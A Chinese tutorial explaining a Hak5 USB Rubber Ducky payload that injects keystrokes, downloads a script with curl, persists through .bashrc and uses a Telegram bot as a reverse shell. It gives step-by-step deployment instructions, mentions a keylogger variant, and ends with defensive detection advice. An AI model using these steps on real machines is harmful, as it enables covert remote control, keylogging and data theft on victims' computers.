如何用Telegram构建持久化反向Shell:USB Rubber Ducky持久Payload完整指南
【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads
🦆USB Rubber Ducky是 Hak5 官方_payloads 仓库(usbrubberducky-payloads)中收录的经典键击注入设备,本仓库是它的官方 Payload 仓库,汇集了数百个社区开发的 DuckyScript 脚本。本文将聚焦其中一套基于 Telegram 的持久化反弹 Shell方案,带你从零理解这套"插入即接管、重连仍在线"的远程 Payload 是如何工作的,并掌握它的搭建、验证与防御思路——即使你是安全新手也能看懂。
⚠️ 本文内容仅用于安全学习与授权测试环境,请勿对未授权设备使用。
一、为什么选择 Telegram 作为持久化通道?
传统的反弹 Shell 依赖"攻击者固定 IP + 监听端口",一旦网络变化就断开。而这套 Payload 用Telegram Bot作为中转,带来三个优势:
- 📱无需公网 IP:Bot 采用主动轮询(long polling)方式连接 Telegram 服务器,出站流量即可,能轻松穿透大多数 NAT;
- 🔁持久化:脚本在目标机器的
.bashrc中写入自启动逻辑,用户每次打开终端都会自动拉起连接,无需 sudo 权限; - ✂️自动分片:Telegram 单条消息有长度限制,脚本会把命令输出按 1000 字符一块自动拆分发送,理论上可以回传任意长的结果。
整套 Payload 位于仓库的execution(执行)分类下,核心文件如下:
- 主 Payload:payload.txt
- 通信脚本:connection.py
- 说明文档:README.md
二、持久化反弹Shell的工作原理
1. 注入阶段(DuckyScript 负责)
插入 USB Rubber Ducky 后,payload.txt 会依次执行三步:
CTRL-ALT t打开 Linux 终端;- 用
curl -o connection.py <链接>从你自己的文件托管地址下载通信脚本并立即运行; - 向
.bashrc追加一段守护逻辑:如果检测不到connection.py进程,就在后台重新拉起它,实现"半持久化"(用户每次打开终端都能恢复连接)。
2. 通信阶段(Python 脚本负责)
connection.py 基于pyTelegramBot库,注册了一个/reverse命令。你在 Telegram 里发送:
/reverse <shell_command>脚本会通过extract_command()拆出命令,交给run_command()在目标机器上执行,再把输出发回你的聊天窗口。整个过程就像在"对着目标机器发微信"。
三、手把手搭建:Telegram持久化Payload搭建步骤
步骤 1:创建 Telegram Bot
- 在 Telegram 中搜索
@botfather,点击 Start; - 发送
/newbot,按提示设置机器人名和用户名; - 复制注册成功后返回的Bot Token(这是你唯一的"钥匙",切勿泄露)。
官方搭建流程也写在了基础版 Payload 的 README.md 中。
步骤 2:部署通信脚本
- 把 connection.py 中的
BOT_TOKEN变量填入你的 Bot Token; - 将脚本上传到任意可匿名下载的位置(对象存储、网盘直链等);
- 把下载链接填入 payload.txt 顶部的
DEFINE #PYTHON-SCRIPT-LINK变量处(替换默认的 example.com 占位链接)。
步骤 3:编译并写入 Ducky
用 Hak5 的PayloadStudio打开 payload.txt,编译生成inject.bin后写入设备存储。编译界面如下:
💡 小提示:仓库中的
payload.txt是源码,USB Rubber Ducky 实际运行的是编译后的inject.bin,不要直接把 txt 文件拷进设备就指望它生效。
步骤 4:验证连接
在自己的测试机上插入 Ducky,等它执行完毕后打开终端,确认connection.py正在运行。此时回到 Telegram 给 Bot 发送/reverse whoami,收到系统用户名的回复即代表持久化反弹 Shell 已打通:
四、延伸阅读:同一套思路的三个变体
作者基于 Telegram Persistent Connection 基础 Payload 派生出一系列变体,值得对比学习:
| Payload | 位置 | 功能 |
|---|---|---|
| Telegram 持久连接 | payload.txt | 基础版,仅维持长连接,是其他 Payload 的参考模板 |
| 持久化反向 Shell | payload.txt | 本文主角,/reverse远程执行命令 |
| 持久化键盘记录 | payload.txt | 多线程键盘监听 + 定期回传日志,还演示了用锁机制防止多线程数据竞争 |
这种"一个基础连接 Payload + 多个业务脚本"的设计,正是学习 DuckyScript 扩展开发的好范例。
五、防御视角:如何发现与阻断这类持久Payload
如果你负责防守,记住三个关键点:
- 审计
.bashrc/.profile:任何"进程不存在就自动拉起"的语句都是持久化脚本的典型特征,pgrep -f+ 后台符&的组合尤其可疑; - 关注陌生 Python 进程:名为
connection.py之类、持续发起 Telegram API 出站连接的进程应纳入 EDR 告警; - 物理入口管控:USB Rubber Ducky 以标准 HID 键盘身份被系统无条件信任,开启 USB 端口白名单、禁止非授权外设接入是根本手段。
六、总结
这套基于 Telegram 的持久化反弹 Shell用不到 30 行 Python + 十几行 DuckyScript,就实现了"免公网 IP、免 sudo、终端重连自动恢复"的远程控制通道,是理解 USB HID 攻击 + 持久化机制的绝佳教学案例。建议在学习路径上按"基础连接 → 反向 Shell → 键盘记录"的顺序通读 execution 目录 下这三个 Payload,把"注入—下载—持久化—通信"四个环节彻底吃透。
【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考